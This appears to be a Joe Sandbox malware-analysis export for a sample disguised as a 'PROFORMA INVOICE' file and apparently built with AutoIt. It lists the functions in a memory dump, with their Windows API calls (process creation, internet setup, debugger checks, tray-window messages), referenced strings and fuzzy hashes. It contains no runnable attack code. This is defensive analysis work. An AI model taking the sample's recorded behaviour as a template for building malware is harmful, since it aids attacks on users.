Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 6864f57a17b4fe17a4ce4078a9c87466e0464187cc64ce3612ebed01b397ac20
Instruction ID: 58368c63d7bbd561711ed666e0bd31592f11f89031b813fd106afa30e35df157
Opcode Fuzzy Hash: 6864f57a17b4fe17a4ce4078a9c87466e0464187cc64ce3612ebed01b397ac20
Instruction Fuzzy Hash: C531AF71100204AADB20DF29DC80EFB73A9FF48724F00961EF8A597280DA38AD81C778

Function 004B4537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 004B461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 004B4634

Strings

', xrefs: 004B458E

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: a3a58be972ad0f3c29614ba8ef764ef152694097b34fcc9ef01055ca68f37b76
Instruction ID: 30260dacc0fdddac43ede56ec8b66548444d675559a2e153b0998c6e7738055a
Opcode Fuzzy Hash: a3a58be972ad0f3c29614ba8ef764ef152694097b34fcc9ef01055ca68f37b76
Instruction Fuzzy Hash: 46313974A01619AFDB14CFA9C980BDA7BB5FF49300F10406AEA04AB392D774A941CFA4

Function 004B31EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 004B327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004B3287

Strings

Combobox, xrefs: 004B3249

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: a181b101bfa112e583c4e55024ee9d75d814e15be74c6989a9097374b0ff4886
Instruction ID: 828c9295c97ae8d11b5a3734258305c54e6ac8e5b703674e9abbdaa1f48e8852
Opcode Fuzzy Hash: a181b101bfa112e583c4e55024ee9d75d814e15be74c6989a9097374b0ff4886
Instruction Fuzzy Hash: 9311E2713002087FEF29DF95DC81EFB376AEB983A5F10022AF91897290D6399D518774

Function 004B3710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0042600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 0042604C
Part of subcall function 0042600E: GetStockObject.GDI32(00000011), ref: 00426060
Part of subcall function 0042600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 0042606A

GetWindowRect.USER32(00000000,?), ref: 004B377A
GetSysColor.USER32(00000012), ref: 004B3794

Strings

static, xrefs: 004B3757

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 1dc484658074b73b29de8a2c4424bc135ca3df1952679b2f2e2608c412df5872
Instruction ID: 93d197a51515d9b8fe9c4d0d2ee5ca415e3ee195788b75d55eef33fd7b5cb874
Opcode Fuzzy Hash: 1dc484658074b73b29de8a2c4424bc135ca3df1952679b2f2e2608c412df5872
Instruction Fuzzy Hash: 53113DB2610209AFDF00DFA9CC85EFA7BB8FB08355F004525F955E2250EB39E861DB64

Function 0049CD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0049CD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 0049CDA6

Strings

<local>, xrefs: 0049CD66

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 4604eae719371b9fcb4b84beb364b2b7dce79b7217c784f8e7c6392c784731b9
Instruction ID: 019fe09223ef862a6351760ae9bccdf9f6d916059c0178f55483b8278c4450e7
Opcode Fuzzy Hash: 4604eae719371b9fcb4b84beb364b2b7dce79b7217c784f8e7c6392c784731b9
Instruction Fuzzy Hash: BC11A3B12456327ADB244A668CC5EE7BE6CEB627A4F104337B10982180D6689841D6F4

Function 004B3429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 004B34AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004B34BA

Strings

edit, xrefs: 004B348F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 08d46580469858b598ee2073541cc5ea09152ce494a0cda33052b47fd7af83d7
Instruction ID: 00414e64087dbc60cd52d75b02e4707a6b3f3a0c98655f4b3b79a6ced5c5b53d
Opcode Fuzzy Hash: 08d46580469858b598ee2073541cc5ea09152ce494a0cda33052b47fd7af83d7
Instruction Fuzzy Hash: C3118F71100108ABEB118E6ADC84AFB376AEF15379F504326F961932E0C779EC519B68

Function 00486C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

CharUpperBuffW.USER32(?,?,?), ref: 00486CB6
_wcslen.LIBCMT ref: 00486CC2

Strings

STOP, xrefs: 00486CBC, 00486CC1

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 94deb2673499ce88ee158b97d27da6ecfca695792ce2fe404b62d93a765f1d90
Instruction ID: 9603ecd60b66666a460064f521ce0e1c4231ac2c3172a4706ce49770f47f9b59
Opcode Fuzzy Hash: 94deb2673499ce88ee158b97d27da6ecfca695792ce2fe404b62d93a765f1d90
Instruction Fuzzy Hash: B6010832A105268BCB51BFBEDC809BF77E5FF60714B42093AE85292290EB39D801C758

Function 00481BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

Part of subcall function 00483CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00483CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00481C46

Strings

ComboBox, xrefs: 00481BE5
ListBox, xrefs: 00481C10

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 635990a0690044e0bafddac5aa727d4649c9d799179da9da2da0e426ac69d788
Instruction ID: 83fe8a9627cc855c32a6320419396b85fcf8d54cd10816e21bb5f049807c89f0
Opcode Fuzzy Hash: 635990a0690044e0bafddac5aa727d4649c9d799179da9da2da0e426ac69d788
Instruction Fuzzy Hash: B601F775B801186BCB04FB91D951EFF73ACAB11344F14042FA40663291EA289E09C7B9

Function 00481C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

Part of subcall function 00483CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00483CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00481CC8

Strings

ComboBox, xrefs: 00481C69
ListBox, xrefs: 00481C94

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: a15a6d5bc210e606a14d0017c646d16b246d236db288b64df4d06de010b332a7
Instruction ID: b09f04ddc1a981da7ba7840bba9ece7c6ecd9840b38ebda2a243ea4a6fe588cd
Opcode Fuzzy Hash: a15a6d5bc210e606a14d0017c646d16b246d236db288b64df4d06de010b332a7
Instruction Fuzzy Hash: 5B01DBB574011867CB04FB92DA51EFF73AC9B11344F54041BB80173291EA689F09D779

Function 0043A4D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0043A529

Part of subcall function 00429CB3: _wcslen.LIBCMT ref: 00429CBD

Strings

,%O, xrefs: 0043A509
3yG, xrefs: 0043A545, 0043A54D, 0043A552

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Init_thread_footer_wcslen
String ID: ,%O$3yG
API String ID: 2551934079-126591655
Opcode ID: a5a1c8a9feddb9dea928225e5a3ebdb4d633b29cbf9b5329df61bbb4fc337c94
Instruction ID: eb137ba0ff73ce6218fe9c992c2f5bb711dd04bea45345356acedca89393daf2
Opcode Fuzzy Hash: a5a1c8a9feddb9dea928225e5a3ebdb4d633b29cbf9b5329df61bbb4fc337c94
Instruction Fuzzy Hash: F2017B31780614A7C604F76AEC57B6D3364DB08714F50206FF641172C2EF6CAD11869F

Function 004B8172 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,004F3018,004F305C), ref: 004B81BF
CloseHandle.KERNEL32 ref: 004B81D1

Strings

\0O, xrefs: 004B818A

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: \0O
API String ID: 3712363035-2747425844
Opcode ID: f8c9b56ccaa76cd2b9ffaee1e8b222ca2d1087e162ab48520865163869ce8c89
Instruction ID: 9e388ae0e579585d00d1167caacdc7fc5adc08f44081a5f9308e7e6f62d5cc4d
Opcode Fuzzy Hash: f8c9b56ccaa76cd2b9ffaee1e8b222ca2d1087e162ab48520865163869ce8c89
Instruction Fuzzy Hash: 3FF03AB2640304BFE2206F65AC86FB73A9CDB05756F404436BF08D51A6DA798E2092BC

Function 004A747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 004A7493
_wcslen.LIBCMT ref: 004A74B9

Strings

3, 3, 16, 1, xrefs: 004A7483

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: a888d059e1516204494c0985e5483a3fad1805cb7be0dccab407aca630a244c7
Instruction ID: e8ca3bee27a3a809a9a30c61ac81708c5d049a43d8066fadeea782ae70f807be
Opcode Fuzzy Hash: a888d059e1516204494c0985e5483a3fad1805cb7be0dccab407aca630a244c7
Instruction Fuzzy Hash: 2EE02B4221422010A271127B9CC1B7F578DCFEE7A0710182FF981C2366EE9C8D92A3A8

Function 00480B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00480B23

Strings

AutoIt, xrefs: 00480B17
Error allocating memory., xrefs: 00480B1C

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: f64564fbe9b7d3086f33d5195a338fdf1e4770cef53abd101e3e269ba5e13d92
Instruction ID: 1d5a1161e737bee80e62f01e9c4622b9040ad87e39fb02b5be6ba710722b9ec9
Opcode Fuzzy Hash: f64564fbe9b7d3086f33d5195a338fdf1e4770cef53abd101e3e269ba5e13d92
Instruction Fuzzy Hash: 1FE0483224435827E21436967C87FC97A848F09B59F20442FFB58555C38AE9645446ED

Function 00440D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 0043F7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,00440D71,?,?,?,0042100A), ref: 0043F7CE

IsDebuggerPresent.KERNEL32(?,?,?,0042100A), ref: 00440D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,0042100A), ref: 00440D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00440D7F

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: 44fb6bf6fd8308dc4c0f94f12175fb61b9fc2013d2bf6b9f62d1bfd8cc5b9799
Instruction ID: 4d85261dab1750e24a7bbf4da3a69803500e5b18fc760208075486c7a188854e
Opcode Fuzzy Hash: 44fb6bf6fd8308dc4c0f94f12175fb61b9fc2013d2bf6b9f62d1bfd8cc5b9799
Instruction Fuzzy Hash: F1E06DB0A007118BE3309FBDE8447527BE0AF04744F008A7EE586C6651DBB9E4488BA9

Function 0043E398 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 0043E3D5

Strings

0%O, xrefs: 0043E3B5
8%O, xrefs: 0043E3CA

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: Init_thread_footer
String ID: 0%O$8%O
API String ID: 1385522511-3010797974
Opcode ID: a6b2332fa0081381ba9ad3e40dc223a0100565831a9e07da145240f387df00ef
Instruction ID: 0d151e98a5d2f19d873d3d509c09f44602e43b0439c0cad557f310aee3a42fe9
Opcode Fuzzy Hash: a6b2332fa0081381ba9ad3e40dc223a0100565831a9e07da145240f387df00ef
Instruction Fuzzy Hash: D0E02631402914EBC604971ABA55AAB3353AB0C324F9031BBEA028B2D19BBD6C41C64D

Function 0047D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0047D220

Strings

X64, xrefs: 0047D2A8
%.3d, xrefs: 0047D22B

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: 630480e188a2fd449b1528c851599cbbb8a51dcb0af68dbc577d68ad602c5e92
Instruction ID: 2024f39a5eb0595e47f05eba7bd0ee93cf11fd3aceb065a8fb3cc418547d0046
Opcode Fuzzy Hash: 630480e188a2fd449b1528c851599cbbb8a51dcb0af68dbc577d68ad602c5e92
Instruction Fuzzy Hash: 9ED012A1C18108EACB9096D0DC859FDB37CAF08301F60C4A3FD0AA1042D62CD50BA76B

Function 004B2356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004B236C
PostMessageW.USER32(00000000), ref: 004B2373

Part of subcall function 0048E97B: Sleep.KERNEL32 ref: 0048E9F3

Strings

Shell_TrayWnd, xrefs: 004B2365

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: ed8224c4bac8a649693a57f9bbec2a451aa274e848b5b0f53636c8804fa6707a
Instruction ID: 2e6f6bbc22d3979a4eee0c9a589862643890a0a647db86d6333008579b075771
Opcode Fuzzy Hash: ed8224c4bac8a649693a57f9bbec2a451aa274e848b5b0f53636c8804fa6707a
Instruction Fuzzy Hash: B2D0A9323C0310BBE264B7329C8FFDA66049B14B00F000A26B281AA0D0C9E4A8008A0C

Function 004B2322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 004B232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 004B233F

Part of subcall function 0048E97B: Sleep.KERNEL32 ref: 0048E9F3

Strings

Shell_TrayWnd, xrefs: 004B2325

Memory Dump Source

Source File: 00000000.00000002.2027895635.0000000000421000.00000020.00000001.01000000.00000003.sdmp, Offset: 00420000, based on PE: true

Associated: 00000000.00000002.2027880777.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004BC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027939625.00000000004E2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027974572.00000000004EC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2027987422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_420000_PROFORMA INVOICE BKS-0121-24-25-JP240604.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 09de2cc904c4f6d4cec38521dc24b6ca57dfa31709925405c392cf29db90f5de
Instruction ID: 615d680e4cfaccff0ac47b18216361921318bb901db945ec0fc010dff5413499
Opcode Fuzzy Hash: 09de2cc904c4f6d4cec38521dc24b6ca57dfa31709925405c392cf29db90f5de
Instruction Fuzzy Hash: 1BD0A932380310B7E264B7329C8FFEA6A049B10B00F000A26B285AA0D0C9E4A8008A08

